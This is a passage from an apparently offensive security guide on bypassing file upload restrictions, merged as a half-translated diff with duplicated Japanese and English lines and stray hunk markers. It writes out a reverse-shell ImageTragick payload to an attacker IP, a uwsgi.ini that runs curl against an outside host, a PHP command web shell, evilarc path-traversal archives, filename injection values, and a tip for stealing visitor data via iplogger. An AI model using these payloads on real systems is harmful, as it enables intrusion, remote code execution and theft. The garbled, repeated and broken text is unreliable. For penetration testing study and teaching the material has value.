- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- 画像に対して圧縮が行われる場合(たとえば PHP-GD のようなライブラリを使っている場合)、上記の手法は有効でないことがあります。その場合は **PLTE chunk** を使った [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) といった方法で、圧縮に耐えるテキストを挿入できます。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- ウェブページが画像をリサイズしている場合(例えば PHP-GD の `imagecopyresized``imagecopyresampled` を使用)、先の手法は効かないことがありますが、**IDAT chunk** を使った [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) で圧縮に耐えるテキストを挿入できます。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- PHP-GD の `thumbnailImage` 関数などでリサイズされる場合でも生き残るペイロードを作る別の手法として、**tEXt chunk** を使った [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) が有効です。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### その他のチェックするトリック
### その他のチェックポイント
- すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行します。
- アップロード済みファイルの名前を変更できる脆弱性を見つける(拡張子を変更するため)。
- Local File Inclusion の脆弱性を見つけてバックドアを実行す
- **情報漏洩の可能性**:
1. **同じファイル**を**同時に**何度もアップロードします。
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードします。
3. **“.”, “..”, または “…”**を名前に持つファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します
4. **NTFS**で簡単に削除できないファイル(例: **“…:.jpg”**)をアップロードします。Windows
5. **Windows**で**無効な文字**(例: `|<>*?”`)を名前に持つファイルをアップロードします。Windows
6. **Windows**で**予約された****禁止された****名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9を使用してファイルをアップロードします。
- また、**実行可能ファイル**.exeや**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることを試みます
1. 同じファイルを複数回(かつ同時に)アップロードする
2. 既に存在するファイルやフォルダと同じ名前のファイルをアップロードする
3. ファイル名を "."、".."、あるいは "..." のようにしてアップロードする。例えば、Apache on Windows でアプリケーションが "/www/uploads/" にアップロードを保存する場合、"." というファイル名は "/www/" に "uploads" というファイルを作成してしまうことがある
4. NTFS で削除しにくい名前(例: "…:.jpg")を付けてアップロードするWindows
5. ファイル名に `|<>*?”` のような無効文字を含むファイルを Windows にアップロードするWindows
6. CON, PRN, AUX, NUL, COM1...などの予約済み(禁止)名を使って Windows にファイルをアップロードする
- 実行ファイル(.exeや、開いたときにコードが実行される可能性のある .htmlあまり疑われないをアップロードすることも検討する
### 特殊な拡張子のトリック
**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)\
**ASPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できますPHPで実行したり、スクリプト内に含めたりすることができます...
`.phar` ファイルは Java の `.jar` に似ていますが PHP 用で、php として実行したりスクリプト内で include したりすることができます。
`.inc`拡張子は、時々、ファイルを**インポートするためだけに使用されるPHPファイルに使用されるため、誰かが**この拡張子を実行可能にすることを許可した可能性があります。
`.inc` 拡張子はインクルード用の php ファイルとして使われることがあり、その結果、この拡張子が実行可能として扱われていることがあるため注意が必要です。
## **Jetty RCE**
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい\*.xmlおよび\*.warが自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像に示すように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** As mentioned in the image below, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
この脆弱性の詳細な調査については、元の研究を確認してください: [uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを変更できる場合に uWSGI サーバで悪用され得ます。uWSGI の設定ファイルは、"magic" 変数、プレースホルダ、演算子を取り扱う特定の構文を利用します。特に '@' 演算子(`@(filename)` の形で使用はファイルの内容を含めるために設計されています。uWSGI がサポートする各種スキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを許します。この機能は、`.ini` 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read のような悪用に使われ得ます。
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
以下は、さまざまなスキームを示した悪意ある `uwsgi.ini` ファイルの例です:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要がありますクラッシュ後やサービス拒否攻撃のためにまたはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
ペイロードの実行は、設定ファイルのパース時に発生します。設定が有効化されパースされるためには、uWSGI プロセスを再起動する(クラッシュ後や Denial of Service attack による可能性がある)か、ファイルを auto-reload に設定しておく必要があります。auto-reload 機能が有効な場合、変更を検知すると指定された間隔でファイルをリロードします。
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル画像やPDFなどに挿入でき、潜在的な悪用の範囲をさらに広げることができます。
uWSGI の設定ファイルのパースが緩いことを理解することが重要です。具体的には、ここで扱っているペイロードはバイナリファイル(画像や PDF など)に挿入することができ、潜在的な悪用の範囲をさらに拡大します。
## **wget File Upload/SSRF Trick**
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされるファイルの拡張子がホワイトリストに含まれているかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックはバイパス可能です。**\
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェック**を**バイパス**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
場合によっては、サーバ**`wget`** を使って **ファイルをダウンロード** し、**URL** を **指定** できることがあります。こうしたケースでは、ダウンロードされるファイルの拡張子がホワイトリストに含まれているかをコード側でチェックし、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、**このチェックはバイパス可能です。**\
**linux** における **ファイル名****最大** 長は **255** ですが、**wget** はファイル名を **236** 文字に切り詰めます。ファイル名を **"A"\*232+".php"+".gif"** としてダウンロードすると、このファイル名は(この例では **".gif"** が有効な拡張子であるため)チェックを**バイパス**しますが、`wget` はファイル名を **"A"\*232+".php"** に**リネーム**します。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,82 +156,87 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
注意してください。**別のオプション**として、このチェックをバイパスするために考えているかもしれないのは、**HTTPサーバーが別のファイルにリダイレクトする**ことです。これにより、最初のURLがチェックをバイパスし、その後wgetが新しい名前のリダイレクトされたファイルをダウンロードします。これは、**wgetが** `--trust-server-names` **パラメータを使用している場合を除いて** **機能しません**。なぜなら、**wgetは元のURLに示されたファイル名でリダイレクトされたページをダウンロードするからです**。
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## ツール
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、ペンテスターやバグハンターがファイルアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティ技術を活用して、脆弱性の特定と悪用のプロセスを簡素化し、Webアプリケーションの徹底的な評価を保証します。
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、Pentesters や Bug Hunters がファイルアップロード機構のテストを行うのを支援するために設計された強力なツールです。さまざまな bug bounty techniques を活用して脆弱性の特定と悪用を簡素化し、web アプリケーションの徹底的な評価を支援します。
## ファイルアップロードから他の脆弱性へ
### Corrupting upload indices with snprintf quirks (historical)
- **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる
- **filename**を`sleep(10)-- -.jpg`に設定すると、**SQLインジェクション**を達成できるかもしれません
- **filename**を`<svg onload=alert(document.domain)>`に設定してXSSを達成する
- **filename**を`; sleep 10;`に設定してコマンドインジェクションをテストする(詳細な[コマンドインジェクションのトリックはこちら](../command-injection.md)
一部のレガシーなアップロードハンドラは `snprintf()` 等を使って単一ファイルのアップロードからマルチファイル配列を構築していますが、これらは `_FILES` 構造を偽造されるように騙されることがあります。`snprintf()` の挙動における不整合や切り捨てのため、巧妙に作られた単一アップロードがサーバー側で複数のインデックス付きファイルとして見えることがあり、厳密な形状を前提としたロジック(例: multi-file upload とみなして安全でない分岐を取る)を混乱させます。今日ではニッチですが、この “index corruption” パターンは時折 CTFs や古いコードベースで再現されます。
## From File upload to other vulnerabilities
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す
- [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/index.html)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
- [**XXEとCORS**バイパス with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- 特別に作成されたPDFでXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認します
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認します
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **アンチウイルス**
- Check if there is any **サイズ制限** uploading files
以下は、アップロードによって達成できることのトップ10リストです[こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webシェル / RCE
2. **SVG**: ストレージXSS / SSRF / XXE
3. **GIF**: ストレージXSS / SSRF
4. **CSV**: CSVインジェクション
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTMLインジェクション / XSS / オープンリダイレクト
8. **PNG / JPEG**: ピクセルフラッド攻撃 (DoS)
9. **ZIP**: LFI経由のRCE / DoS
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp拡張
#### Burp Extension
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## マジックヘッダーバイト
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
他のファイルタイプについては、[https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)を参照してください。
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip/Tarファイルの自動解凍アップロード
## Zip/Tar File Automatically decompressed Upload
サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### シンリンク
### Symlink
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします。
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### 異なるフォルダに展開する
### 異なるフォルダに解凍
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行を防ぐと最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
アーカイブの解凍時にディレクトリ内でファイルが予期せず作成されることは重大な問題です。当初、この構成は悪意のあるファイルのアップロードによる OS-level command execution を防ぐと思われるかもしれませんが、ZIP の hierarchical compression support と directory traversal 機能は悪用可能です。これにより攻撃者は制限を回避し、対象アプリケーションの decompression 機能を操作して secure upload directories から脱出できます。
そのようなファイルを作成するための自動化されたエクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは以下のように使用できます:
そのようなファイルを作成するための自動化された exploit は [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) で入手できます。ユーティリティは次のように使用できます:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
さらに、**evilarcを使ったシンボリックリンクのトリック**も選択肢です。目的が`/flag.txt`のようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
さらに、**symlink trick with evilarc** はオプションです。もしターゲットが `/flag.txt` のようなファイルであれば、そのファイルへの symlink をシステム上に作成してください。これにより evilarc が動作中にエラーを起こすことを防げます。
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です
以下は、悪意のある zip ファイルを作成するための Python コードの例です:
```python
#!/usr/bin/python
import zipfile
@ -249,11 +254,11 @@ zip.close()
create_zip()
```
**圧縮を悪用したファイルスプレーイング**
**圧縮を悪用した file spraying**
さらなる詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を通じて渡されたコマンドを実行するように書かれています
1. **Creating a PHP Shell**: このPHPコードは `$_REQUEST` 変数で渡されたコマンドを実行するように書かれている
```php
<?php
@ -263,14 +268,14 @@ system($cmd);
}?>
```
2. **ファイルスプレーイングと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます
2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、それらを含むzipアーカイブを作成する
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Hexエディタまたはviを使用した修正**: zip内のファイル名はviまたはhexエディタを使用して変更され、「xxA」を「../」に変更してディレクトリを横断します
3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやhexエディタで変更し、"xxA"を"../"にしてディレクトリを横断する
```bash
:set modifiable
@ -280,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**[exploit](https://www.exploit-db.com/exploits/39767)から
このコンテンツを画像拡張子でアップロードすることで脆弱性を悪用できます **(ImageMagick , 7.0.1-1)**exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767)
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## PNGにPHPシェルを埋め込む
## Embedding PHP Shell on PNG
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにおいて重要な利点です。
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、一部の画像処理を回避できることがあります。PHP-GDの`imagecopyresized``imagecopyresampled`といった関数はリサイズやリサンプリングに頻繁に使われるため、本手法ではこれらの処理を受けても埋め込んだPHPシェルが影響を受けない点が重要な利点となります。
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。
この手法の詳細な解説(方法論や応用例を含む)は、次の記事で確認できます: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に説明しています。
詳細情報は次のリンクにあります: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## ポリグロットファイル
## Polyglot Files
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式で同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
Polyglotファイルは複数のファイルフォーマットとして同時に有効であり、カメレオンのように振る舞います。興味深い例としては[GIFAR](https://en.wikipedia.org/wiki/Gifar)があり、GIFとRARの両方として機能するハイブリッドです。これらはGIF+RARに限らず、GIF+JSやPPT+JSのような組み合わせも可能です。
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが許可されており、潜在的に有害なフォーマットJS、PHP、Pharファイルによるリスクを軽減しています。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
polyglotファイルの主な有用性は、ファイルタイプでフィルタリングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは危険なフォーマット例: JS, PHP, Pharを避けるためにJPEG、GIF、DOCなど特定のファイルタイプのみをアップロード許可する運用が一般的です。しかしpolyglotは複数フォーマットの構造要件を満たすことで、これらの制限を巧妙にすり抜ける可能性があります。
適応性がある一方で、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイルPHp ARchiveとJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格であれば、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
とはいえ、polyglotにも制約はあります。例えばPHARPHp ARchiveとJPEGの両方を兼ねるpolyglotがあっても、プラットフォームが拡張子で厳格に許可を管理している場合は、構造的な二面性だけではアップロードに成功しないことがあります。
詳細情報は次のリンクにあります: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### PDFのように有効なJSONをアップロードする
### Upload valid JSONs like if it was PDF
PDFファイルを偽装して有効なJSONファイルをアップロードすることでファイルタイプの検出を回避する方法(**[このブログ記事](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**からの技術):
許可されていない場合でも、PDFを偽装して有効なJSONファイルをアップロードすることでファイルタイプ検出を回避する方法(**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** の手法):
- **`mmmagic`ライブラリ**: 最初の1024バイトに`%PDF`マジックバイトが含まれていれば有効です(投稿から例を取得
- **`pdflib`ライブラリ**: JSONのフィールド内に偽のPDFフォーマットを追加し、ライブラリがPDFだと認識するようにします投稿から例を取得
- **`file`バイナリ**: ファイルから最大1048576バイトを読み取ることができます。それより大きなJSONを作成し、内容をJSONとして解析できないようにし、その中に実際のPDFの初期部分を入れると、PDFだと思われます。
- **`mmmagic` library**: 最初の1024バイト内に`%PDF`のマジックバイトがあれば有効と判断される(投稿から例を参照
- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを埋め込んでライブラリにPDFと誤認させる投稿から例を参照
- **`file` binary**: ファイルから最大1048576バイトを読み取る。これより大きなJSONを作成して中身をJSONとして解析できなくし、その内部に実際のPDFの先頭部分を入れるとPDFと判断される
## 参考文献
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -322,5 +327,6 @@ PDFファイルを偽装して有効なJSONファイルをアップロードす
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}